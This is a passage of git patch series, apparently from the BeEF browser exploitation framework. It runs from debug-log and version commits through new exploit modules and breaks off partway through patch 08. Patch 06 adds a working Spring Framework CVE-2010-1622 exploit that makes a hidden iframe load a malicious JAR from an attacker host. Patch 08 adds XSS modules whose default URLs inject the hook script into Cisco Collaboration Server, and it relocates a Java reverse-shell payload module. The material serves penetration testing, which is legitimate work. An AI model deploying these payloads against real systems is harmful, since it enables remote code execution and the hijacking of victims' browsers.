From aa8e073494ceab3f0b9cb0b901df926cfc8005ed Mon Sep 17 00:00:00 2001
From: antisnatchor <antisnatchor@gmail.com>
Date: Thu, 21 Jun 2012 12:34:26 +0100
Subject: [PATCH 01/17] Changes debug logs in the evasion main class.

---
 extensions/evasion/evasion.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/extensions/evasion/evasion.rb b/extensions/evasion/evasion.rb
index b86cca957..aaf3019d9 100644
--- a/extensions/evasion/evasion.rb
+++ b/extensions/evasion/evasion.rb
@@ -37,10 +37,10 @@ module BeEF
               #2. call the "execute" method of the ruby module, passing the input
               #3. update the input in order that next technique will work on the pre-processed input.
               if File.exists?("#{$root_dir}/extensions/evasion/obfuscation/#{technique}.rb")
-                print_debug "[OBFUSCATION] Applying technique [#{technique}]"
                 klass = BeEF::Extension::Evasion.const_get(technique.capitalize).instance
                 is_bootstrap_needed = klass.need_bootstrap
                 if is_bootstrap_needed
+                  print_debug "[OBFUSCATION] Adding bootstrapper for technique [#{technique}]"
                   @bootstrap += klass.get_bootstrap
                 end
               end

From 0a34150cf7e87c2cbc559177b58a3c572b3d63e7 Mon Sep 17 00:00:00 2001
From: Wade Alcorn <wade@bindshell.net>
Date: Fri, 22 Jun 2012 21:01:09 +0100
Subject: [PATCH 02/17] Version updated

---
 VERSION     | 2 +-
 config.yaml | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/VERSION b/VERSION
index 509c304b2..f9105b3dc 100644
--- a/VERSION
+++ b/VERSION
@@ -14,4 +14,4 @@
 #   limitations under the License.
 #
 
-0.4.3.5-alpha
+0.4.3.6-alpha
diff --git a/config.yaml b/config.yaml
index 41728f809..b9d4f8f08 100644
--- a/config.yaml
+++ b/config.yaml
@@ -16,7 +16,7 @@
 # BeEF Configuration file
 
 beef:
-    version: '0.4.3.5-alpha'
+    version: '0.4.3.6-alpha'
     debug: false
 
     restrictions:

From c4e0ce17c4af254c99d0070a9362778b0436c7d3 Mon Sep 17 00:00:00 2001
From: Wade Alcorn <wade@bindshell.net>
Date: Fri, 22 Jun 2012 21:07:45 +0100
Subject: [PATCH 03/17] Added update file that calls git pull

---
 update-beef | 4 ++++
 1 file changed, 4 insertions(+)
 create mode 100755 update-beef

diff --git a/update-beef b/update-beef
new file mode 100755
index 000000000..2bd8188de
--- /dev/null
+++ b/update-beef
@@ -0,0 +1,4 @@
+#!/bin/sh
+
+echo Updating...
+git pull
\ No newline at end of file

From 900942f59cb3b1d22b68180f7c323a368b100bd4 Mon Sep 17 00:00:00 2001
From: Wade Alcorn <wade@bindshell.net>
Date: Sat, 23 Jun 2012 09:06:17 +0100
Subject: [PATCH 04/17] Added comment

---
 update-beef | 17 ++++++++++++++++-
 1 file changed, 16 insertions(+), 1 deletion(-)

diff --git a/update-beef b/update-beef
index 2bd8188de..4524a540f 100755
--- a/update-beef
+++ b/update-beef
@@ -1,4 +1,19 @@
-#!/bin/sh
+#!/bin/bash
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
 
 echo Updating...
 git pull
\ No newline at end of file

From 49b85201d0c137c256a731aa47f061d738925386 Mon Sep 17 00:00:00 2001
From: Wade Alcorn <wade@bindshell.net>
Date: Sat, 23 Jun 2012 12:51:20 +0100
Subject: [PATCH 05/17] Changed print_success to print_info

---
 extensions/proxy/api.rb | 50 ++++++++++++++++++++---------------------
 1 file changed, 25 insertions(+), 25 deletions(-)

diff --git a/extensions/proxy/api.rb b/extensions/proxy/api.rb
index 96c67d586..13cf8dadf 100644
--- a/extensions/proxy/api.rb
+++ b/extensions/proxy/api.rb
@@ -14,33 +14,33 @@
 #   limitations under the License.
 #
 module BeEF
-module Extension
-module Proxy 
-module API  
+  module Extension
+    module Proxy
+      module API
 
-  module RegisterHttpHandler
+        module RegisterHttpHandler
 
-    BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'pre_http_start')
-    BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
-    
-    def self.pre_http_start(http_hook_server)
-      config = BeEF::Core::Configuration.instance
-        Thread.new{
-          http_hook_server.semaphore.synchronize{
-            BeEF::Extension::Proxy::Proxy.new
-          }
-        }
-        print_success "HTTP Proxy: http://#{config.get('beef.extension.proxy.address')}:#{config.get('beef.extension.proxy.port')}"
+          BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'pre_http_start')
+          BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
+
+          def self.pre_http_start(http_hook_server)
+            config = BeEF::Core::Configuration.instance
+            Thread.new{
+              http_hook_server.semaphore.synchronize{
+                BeEF::Extension::Proxy::Proxy.new
+              }
+            }
+            print_info "HTTP Proxy: http://#{config.get('beef.extension.proxy.address')}:#{config.get('beef.extension.proxy.port')}"
+          end
+
+          def self.mount_handler(beef_server)
+            beef_server.mount('/proxy', BeEF::Extension::Requester::Handler)
+          end
+
+        end
+
+
+      end
     end
-
-    def self.mount_handler(beef_server)
-      beef_server.mount('/proxy', BeEF::Extension::Requester::Handler)
-    end
-    
   end
-
-
-end
-end
-end
 end

From 853b4c5bcb689a956aa50795ffe676ea56ff2d8c Mon Sep 17 00:00:00 2001
From: bcoles <bcoles@gmail.com>
Date: Sat, 23 Jun 2012 22:44:34 +0930
Subject: [PATCH 06/17] Added Spring Framework Malicious JAR module

Fixes issue #526
---
 .../spring_framework_malicious_jar/command.js | 32 +++++++++++++++++++
 .../config.yaml                               | 25 +++++++++++++++
 .../spring_framework_malicious_jar/module.rb  | 29 +++++++++++++++++
 3 files changed, 86 insertions(+)
 create mode 100644 modules/exploits/spring_framework_malicious_jar/command.js
 create mode 100644 modules/exploits/spring_framework_malicious_jar/config.yaml
 create mode 100644 modules/exploits/spring_framework_malicious_jar/module.rb

diff --git a/modules/exploits/spring_framework_malicious_jar/command.js b/modules/exploits/spring_framework_malicious_jar/command.js
new file mode 100644
index 000000000..00804c652
--- /dev/null
+++ b/modules/exploits/spring_framework_malicious_jar/command.js
@@ -0,0 +1,32 @@
+//
+//   Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//       http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License.
+//
+beef.execute(function() {
+
+	jar_file        = "<%= @jar_file %>";
+	form_controller = "<%= @form_controller %>";
+
+    uri = form_controller+"?class.classLoader.URLs[0]=jar:"+jar_file;
+	var spring_iframe = beef.dom.createInvisibleIframe();
+	spring_iframe.setAttribute('src', uri);
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=exploit attempted");
+
+	cleanup = function() {
+		document.body.removeChild(spring_iframe);
+	}
+	setTimeout("cleanup()", 15000);
+
+});
diff --git a/modules/exploits/spring_framework_malicious_jar/config.yaml b/modules/exploits/spring_framework_malicious_jar/config.yaml
new file mode 100644
index 000000000..87d59d542
--- /dev/null
+++ b/modules/exploits/spring_framework_malicious_jar/config.yaml
@@ -0,0 +1,25 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+beef:
+    module:
+        spring_framework_malicious_jar:
+            enable: true
+            category: "Exploits"
+            name: "Spring Framework Malicious Jar"
+            description: "Execute a malicious JAR file using the Spring Framework 'class.classloader' vulnerability (CVE-2010-1622).<br/>Specify the URL for a form controller on the target and the URL for your malicious JAR file.<br/>For more information see: http://www.exploit-db.com/exploits/13918/<br/><br/>Versions Affected:<br/>3.0.0 to 3.0.2<br/>2.5.0 to 2.5.6.SEC01 (community releases)<br/>2.5.0 to 2.5.7 (subscription customers)"
+            authors: ["bcoles"]
+            target:
+                working: ["ALL"]
diff --git a/modules/exploits/spring_framework_malicious_jar/module.rb b/modules/exploits/spring_framework_malicious_jar/module.rb
new file mode 100644
index 000000000..f1777b7f5
--- /dev/null
+++ b/modules/exploits/spring_framework_malicious_jar/module.rb
@@ -0,0 +1,29 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+class Spring_framework_malicious_jar < BeEF::Core::Command
+
+  def self.options
+    return [
+        {'name' => 'form_controller', 'ui_label' => 'Form Controller URL', 'value' => 'http://target/path/to/form/controller'},
+        {'name' => 'jar_file', 'ui_label' => 'Malicious JAR file URL', 'value' => 'http://attacker/path/to/attack.jar!/'}
+    ]
+  end
+
+  def post_execute
+    save({'result' => @datastore['result']})
+  end
+
+end

From aefc69354835b9ddd7bafeb840a4bb81e2090d6b Mon Sep 17 00:00:00 2001
From: bcoles <bcoles@gmail.com>
Date: Sun, 24 Jun 2012 00:57:01 +0930
Subject: [PATCH 07/17] Added balloon popups to hooked browser tree

Part of issue #521
---
 .../media/javascript/ui/panel/zombiesTreeList.js         | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js
index 5537ee34e..247a44fe9 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js
@@ -36,6 +36,7 @@ zombiesTreeList = function(id) {
 	//the tree node that contains the list of online hooked browsers
 	this.online_hooked_browsers_treenode = this.root.appendChild(
         new Ext.tree.TreeNode({
+            qtip: "Online hooked browsers",
             text:'Online Browsers',
             cls:'online-zombies-node',
             expanded:true
@@ -45,6 +46,7 @@ zombiesTreeList = function(id) {
 	//the tree node that contains the list of offline hooked browsers
 	this.offline_hooked_browsers_treenode = this.root.appendChild(
         new Ext.tree.TreeNode({
+            qtip: "Offline hooked browsers",
             text:'Offline Browsers',
             cls:'offline-zombies-node',
             expanded:false
@@ -183,7 +185,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
 	 */
     addZombie: function(hooked_browser, online, checkbox) {
 		var hb_id, mother_node, node;
-		
+
 		if(online) {
 			hb_id = 'zombie-online-' + hooked_browser.session;
 			mother_node = this.online_hooked_browsers_treenode;
@@ -193,7 +195,9 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
 		}
 		var exists = this.getNodeById(hb_id);
 		if(exists) return;
-		
+
+		hooked_browser.qtip = hooked_browser.text + ' hooked on ' + hooked_browser.domain + ":" + hooked_browser.port;
+
 		//save a new online HB
 		if(online && Ext.pluck(this.online_hooked_browsers_array, 'session').indexOf(hooked_browser.session)==-1) {
 			this.online_hooked_browsers_array.push(hooked_browser);
@@ -253,6 +257,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, {
 			sub_folder_node = new Ext.tree.TreeNode({
 				id: 'sub-folder-'+folder,
 				text: folder,
+				qtip: "Browsers hooked on "+folder,
 				checked: ((checkbox) ? false : null),
 				type: this.tree_configuration["sub-branch"]
 				});

From 40f8b528aae1199783da64832ab508c3d7b9f576 Mon Sep 17 00:00:00 2001
From: bcoles <bcoles@gmail.com>
Date: Sun, 24 Jun 2012 03:10:54 +0930
Subject: [PATCH 08/17] Moved a few modules from modules/exploits/ to
 modules/exploits/local_host: 	activex_command_execution 
 mozilla_nsiprocess_interface 	window_mail_client_dos 	java_payload 
 safari_launch_app

Added a couple of XSS modules:
	cisco_collaboration_server_5_xss
	serendipity_1.6_xss
---
 .../activex_command_execution/command.js      |   0
 .../activex_command_execution/config.yaml     |   2 +-
 .../activex_command_execution/module.rb       |   0
 .../java_payload/AppletReverseTCP-0.2.jar     | Bin
 .../java_payload/AppletReverseTCP-0.3rc1.jar  | Bin
 .../{ => local_host}/java_payload/command.js  |   0
 .../{ => local_host}/java_payload/config.yaml |   2 +-
 .../{ => local_host}/java_payload/module.rb   |   0
 .../mozilla_nsiprocess_interface/command.js   |   0
 .../mozilla_nsiprocess_interface/config.yaml  |   2 +-
 .../mozilla_nsiprocess_interface/module.rb    |   0
 .../safari_launch_app/command.js              |   0
 .../safari_launch_app/config.yaml             |   2 +-
 .../safari_launch_app/module.rb               |   0
 .../window_mail_client_dos/command.js         |   0
 .../window_mail_client_dos/config.yaml        |   2 +-
 .../window_mail_client_dos/module.rb          |   0
 .../command.js                                |  26 ++++++++++++++
 .../config.yaml                               |  25 +++++++++++++
 .../module.rb                                 |  33 ++++++++++++++++++
 .../xss/serendipity_1.6_xss/command.js        |  26 ++++++++++++++
 .../xss/serendipity_1.6_xss/config.yaml       |  25 +++++++++++++
 .../xss/serendipity_1.6_xss/module.rb         |  33 ++++++++++++++++++
 23 files changed, 173 insertions(+), 5 deletions(-)
 rename modules/exploits/{ => local_host}/activex_command_execution/command.js (100%)
 rename modules/exploits/{ => local_host}/activex_command_execution/config.yaml (95%)
 rename modules/exploits/{ => local_host}/activex_command_execution/module.rb (100%)
 rename modules/exploits/{ => local_host}/java_payload/AppletReverseTCP-0.2.jar (100%)
 rename modules/exploits/{ => local_host}/java_payload/AppletReverseTCP-0.3rc1.jar (100%)
 rename modules/exploits/{ => local_host}/java_payload/command.js (100%)
 rename modules/exploits/{ => local_host}/java_payload/config.yaml (96%)
 rename modules/exploits/{ => local_host}/java_payload/module.rb (100%)
 rename modules/exploits/{ => local_host}/mozilla_nsiprocess_interface/command.js (100%)
 rename modules/exploits/{ => local_host}/mozilla_nsiprocess_interface/config.yaml (96%)
 rename modules/exploits/{ => local_host}/mozilla_nsiprocess_interface/module.rb (100%)
 rename modules/exploits/{ => local_host}/safari_launch_app/command.js (100%)
 rename modules/exploits/{ => local_host}/safari_launch_app/config.yaml (95%)
 rename modules/exploits/{ => local_host}/safari_launch_app/module.rb (100%)
 rename modules/exploits/{ => local_host}/window_mail_client_dos/command.js (100%)
 rename modules/exploits/{ => local_host}/window_mail_client_dos/config.yaml (96%)
 rename modules/exploits/{ => local_host}/window_mail_client_dos/module.rb (100%)
 create mode 100644 modules/exploits/xss/cisco_collaboration_server_5_xss/command.js
 create mode 100644 modules/exploits/xss/cisco_collaboration_server_5_xss/config.yaml
 create mode 100644 modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb
 create mode 100644 modules/exploits/xss/serendipity_1.6_xss/command.js
 create mode 100644 modules/exploits/xss/serendipity_1.6_xss/config.yaml
 create mode 100644 modules/exploits/xss/serendipity_1.6_xss/module.rb

diff --git a/modules/exploits/activex_command_execution/command.js b/modules/exploits/local_host/activex_command_execution/command.js
similarity index 100%
rename from modules/exploits/activex_command_execution/command.js
rename to modules/exploits/local_host/activex_command_execution/command.js
diff --git a/modules/exploits/activex_command_execution/config.yaml b/modules/exploits/local_host/activex_command_execution/config.yaml
similarity index 95%
rename from modules/exploits/activex_command_execution/config.yaml
rename to modules/exploits/local_host/activex_command_execution/config.yaml
index 1e0995937..0a4d45a45 100755
--- a/modules/exploits/activex_command_execution/config.yaml
+++ b/modules/exploits/local_host/activex_command_execution/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         activex_command_execution:
             enable: true
-            category: "Exploits"
+            category: ["Exploits", "Local Host"]
             name: "ActiveX Command Execution"
             description: "Execute arbitrary commands using the \"WSCRIPT.Shell\" object. The command response is not returned to BeEF.<br><br>The browser must have \"Initialize and script ActiveX controls not marked as safe for scripting\" enabled."
             authors: ["bcoles"]
diff --git a/modules/exploits/activex_command_execution/module.rb b/modules/exploits/local_host/activex_command_execution/module.rb
similarity index 100%
rename from modules/exploits/activex_command_execution/module.rb
rename to modules/exploits/local_host/activex_command_execution/module.rb
diff --git a/modules/exploits/java_payload/AppletReverseTCP-0.2.jar b/modules/exploits/local_host/java_payload/AppletReverseTCP-0.2.jar
similarity index 100%
rename from modules/exploits/java_payload/AppletReverseTCP-0.2.jar
rename to modules/exploits/local_host/java_payload/AppletReverseTCP-0.2.jar
diff --git a/modules/exploits/java_payload/AppletReverseTCP-0.3rc1.jar b/modules/exploits/local_host/java_payload/AppletReverseTCP-0.3rc1.jar
similarity index 100%
rename from modules/exploits/java_payload/AppletReverseTCP-0.3rc1.jar
rename to modules/exploits/local_host/java_payload/AppletReverseTCP-0.3rc1.jar
diff --git a/modules/exploits/java_payload/command.js b/modules/exploits/local_host/java_payload/command.js
similarity index 100%
rename from modules/exploits/java_payload/command.js
rename to modules/exploits/local_host/java_payload/command.js
diff --git a/modules/exploits/java_payload/config.yaml b/modules/exploits/local_host/java_payload/config.yaml
similarity index 96%
rename from modules/exploits/java_payload/config.yaml
rename to modules/exploits/local_host/java_payload/config.yaml
index 0d58413ba..651dedb7b 100755
--- a/modules/exploits/java_payload/config.yaml
+++ b/modules/exploits/local_host/java_payload/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         java_payload:
             enable: true
-            category: "Exploits"
+            category: ["Exploits", "Local Host"]
             name: "Java Payload"
             description: "Inject a malicious signed Java Applet (JavaPayload) that connects back to the attacker giving basic shell commands, command exec and wget.<br /><br />Before launching it, be sure to have the JavaPayload StagerHandler listening,<br />i.e.: java javapayload.handler.stager.StagerHandler &lt;payload&gt; &lt;IP&gt; &lt;port&gt; -- JSh<br /><br />Windows Vista is not supported."
             authors: ["antisnatchor"]
diff --git a/modules/exploits/java_payload/module.rb b/modules/exploits/local_host/java_payload/module.rb
similarity index 100%
rename from modules/exploits/java_payload/module.rb
rename to modules/exploits/local_host/java_payload/module.rb
diff --git a/modules/exploits/mozilla_nsiprocess_interface/command.js b/modules/exploits/local_host/mozilla_nsiprocess_interface/command.js
similarity index 100%
rename from modules/exploits/mozilla_nsiprocess_interface/command.js
rename to modules/exploits/local_host/mozilla_nsiprocess_interface/command.js
diff --git a/modules/exploits/mozilla_nsiprocess_interface/config.yaml b/modules/exploits/local_host/mozilla_nsiprocess_interface/config.yaml
similarity index 96%
rename from modules/exploits/mozilla_nsiprocess_interface/config.yaml
rename to modules/exploits/local_host/mozilla_nsiprocess_interface/config.yaml
index 7e1b71cd2..730bb4c79 100644
--- a/modules/exploits/mozilla_nsiprocess_interface/config.yaml
+++ b/modules/exploits/local_host/mozilla_nsiprocess_interface/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         mozilla_nsiprocess_interface:
             enable: false
-            category: "Exploits"
+            category: ["Exploits", "Local Host"]
             name: "Mozilla nsIProcess XPCOM Interface (Windows)"
             description: "The nsIProcess XPCOM interface represents an executable process. JavaScript code with chrome privileges can use the nsIProcess interface to launch executable files. In this module, nsIProcess is combined with the Windows command prompt cmd.exe<br /><br />Any XSS injection in a chrome privileged zone (e.g. typically in Firefox extensions) allows this module to execute arbitrary commands on the victim machine."
             authors: ["wade", "bcoles", "roberto.suggi@security-assessment.com", "nick.freeman@security-assessment.com"]
diff --git a/modules/exploits/mozilla_nsiprocess_interface/module.rb b/modules/exploits/local_host/mozilla_nsiprocess_interface/module.rb
similarity index 100%
rename from modules/exploits/mozilla_nsiprocess_interface/module.rb
rename to modules/exploits/local_host/mozilla_nsiprocess_interface/module.rb
diff --git a/modules/exploits/safari_launch_app/command.js b/modules/exploits/local_host/safari_launch_app/command.js
similarity index 100%
rename from modules/exploits/safari_launch_app/command.js
rename to modules/exploits/local_host/safari_launch_app/command.js
diff --git a/modules/exploits/safari_launch_app/config.yaml b/modules/exploits/local_host/safari_launch_app/config.yaml
similarity index 95%
rename from modules/exploits/safari_launch_app/config.yaml
rename to modules/exploits/local_host/safari_launch_app/config.yaml
index ba9de7df2..13200a95d 100755
--- a/modules/exploits/safari_launch_app/config.yaml
+++ b/modules/exploits/local_host/safari_launch_app/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         safari_launch_app:
             enable: true
-            category: "Exploits"
+            category: ["Exploits", "Local Host"]
             name: "Safari Launch App"
             description: "Launch an application from the victim machine.<br/><br/>See CVE-2011-3230 for more details.<br /><br />Safari <= 5.1 on OS X is vulnerable. Original discovery by Aaron Sigel."
             authors: ["antisnatchor"]
diff --git a/modules/exploits/safari_launch_app/module.rb b/modules/exploits/local_host/safari_launch_app/module.rb
similarity index 100%
rename from modules/exploits/safari_launch_app/module.rb
rename to modules/exploits/local_host/safari_launch_app/module.rb
diff --git a/modules/exploits/window_mail_client_dos/command.js b/modules/exploits/local_host/window_mail_client_dos/command.js
similarity index 100%
rename from modules/exploits/window_mail_client_dos/command.js
rename to modules/exploits/local_host/window_mail_client_dos/command.js
diff --git a/modules/exploits/window_mail_client_dos/config.yaml b/modules/exploits/local_host/window_mail_client_dos/config.yaml
similarity index 96%
rename from modules/exploits/window_mail_client_dos/config.yaml
rename to modules/exploits/local_host/window_mail_client_dos/config.yaml
index 891f16919..25a643768 100644
--- a/modules/exploits/window_mail_client_dos/config.yaml
+++ b/modules/exploits/local_host/window_mail_client_dos/config.yaml
@@ -17,7 +17,7 @@ beef:
     module:
         windows_mail_client_dos:
             enable: true
-            category: "Exploits"
+            category: ["Exploits", "Local Host"]
             name: "Windows Mail Client DoS"
             description: "This module exploits an unhandled exception in Windows Mail to crash the client remotely.<br /><br />Windows Mail is launched and then crashed if it is not already open. It comes installed by default on Windows Vista (but it's also vulnerable on Windows 7 SP2).<br /><br />The protocol handler used will be: nntp."
             authors: ["bcoles"]
diff --git a/modules/exploits/window_mail_client_dos/module.rb b/modules/exploits/local_host/window_mail_client_dos/module.rb
similarity index 100%
rename from modules/exploits/window_mail_client_dos/module.rb
rename to modules/exploits/local_host/window_mail_client_dos/module.rb
diff --git a/modules/exploits/xss/cisco_collaboration_server_5_xss/command.js b/modules/exploits/xss/cisco_collaboration_server_5_xss/command.js
new file mode 100644
index 000000000..81933f79a
--- /dev/null
+++ b/modules/exploits/xss/cisco_collaboration_server_5_xss/command.js
@@ -0,0 +1,26 @@
+//
+//   Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//       http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License.
+//
+beef.execute(function() {
+
+	var uri = '<%= @uri.gsub(/'/, "\\'") %>'; 
+
+	var cisco_collaboration_iframe = beef.dom.createInvisibleIframe();
+	cisco_collaboration_iframe.setAttribute('src', uri);
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
+
+});
+
diff --git a/modules/exploits/xss/cisco_collaboration_server_5_xss/config.yaml b/modules/exploits/xss/cisco_collaboration_server_5_xss/config.yaml
new file mode 100644
index 000000000..3320a74f6
--- /dev/null
+++ b/modules/exploits/xss/cisco_collaboration_server_5_xss/config.yaml
@@ -0,0 +1,25 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+beef:
+    module:
+        cisco_collaboration_server_5_xss:
+            enable: true
+            category: ["Exploits", "XSS"]
+            name: "Cisco Collaboration Server 5 XSS"
+            description: "Attempts to hook Cisco Collaboration Server 5 using XSS.<br/>For more information see: http://www.exploit-db.com/exploits/11403/"
+            authors: ["bcoles", "s4squatch"]
+            target:
+                working: ["ALL"]
diff --git a/modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb b/modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb
new file mode 100644
index 000000000..f0e42f7df
--- /dev/null
+++ b/modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb
@@ -0,0 +1,33 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+class Cisco_collaboration_server_5_xss < BeEF::Core::Command
+
+	def self.options
+
+		configuration = BeEF::Core::Configuration.instance
+		hook_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/hook.js"
+
+		return [
+			{'name' => 'uri', 'ui_label' => 'Target URL', 'value' => 'http://target/webline/html/admin/wcs/LoginPage.jhtml?oper=&dest="><script src="'+hook_uri+'"></script>'}
+		]
+
+	end
+
+	def post_execute
+		save({'result' => @datastore['result']})
+	end
+
+end
diff --git a/modules/exploits/xss/serendipity_1.6_xss/command.js b/modules/exploits/xss/serendipity_1.6_xss/command.js
new file mode 100644
index 000000000..a20ff5bbb
--- /dev/null
+++ b/modules/exploits/xss/serendipity_1.6_xss/command.js
@@ -0,0 +1,26 @@
+//
+//   Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//       http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License.
+//
+beef.execute(function() {
+
+	var uri = '<%= @uri.gsub(/'/, "\\'") %>'; 
+
+	var serendipity_iframe = beef.dom.createInvisibleIframe();
+	serendipity_iframe.setAttribute('src', uri);
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
+
+});
+
diff --git a/modules/exploits/xss/serendipity_1.6_xss/config.yaml b/modules/exploits/xss/serendipity_1.6_xss/config.yaml
new file mode 100644
index 000000000..96d9e9bb2
--- /dev/null
+++ b/modules/exploits/xss/serendipity_1.6_xss/config.yaml
@@ -0,0 +1,25 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+beef:
+    module:
+        serendipity_1_6_xss:
+            enable: true
+            category: ["Exploits", "XSS"]
+            name: "Serendipity <= 1.6 XSS"
+            description: "Attempts to hook Serendipity <= 1.6 using XSS.<br/>For more information see: http://www.exploit-db.com/exploits/18884/"
+            authors: ["bcoles", "Stefan Schurtz"]
+            target:
+                working: ["ALL"]
diff --git a/modules/exploits/xss/serendipity_1.6_xss/module.rb b/modules/exploits/xss/serendipity_1.6_xss/module.rb
new file mode 100644
index 000000000..cf46a83d1
--- /dev/null
+++ b/modules/exploits/xss/serendipity_1.6_xss/module.rb
@@ -0,0 +1,33 @@
+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+class Serendipity_1_6_xss < BeEF::Core::Command
+
+	def self.options
+
+		configuration = BeEF::Core::Configuration.instance
+		hook_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/hook.js"
+
+		return [
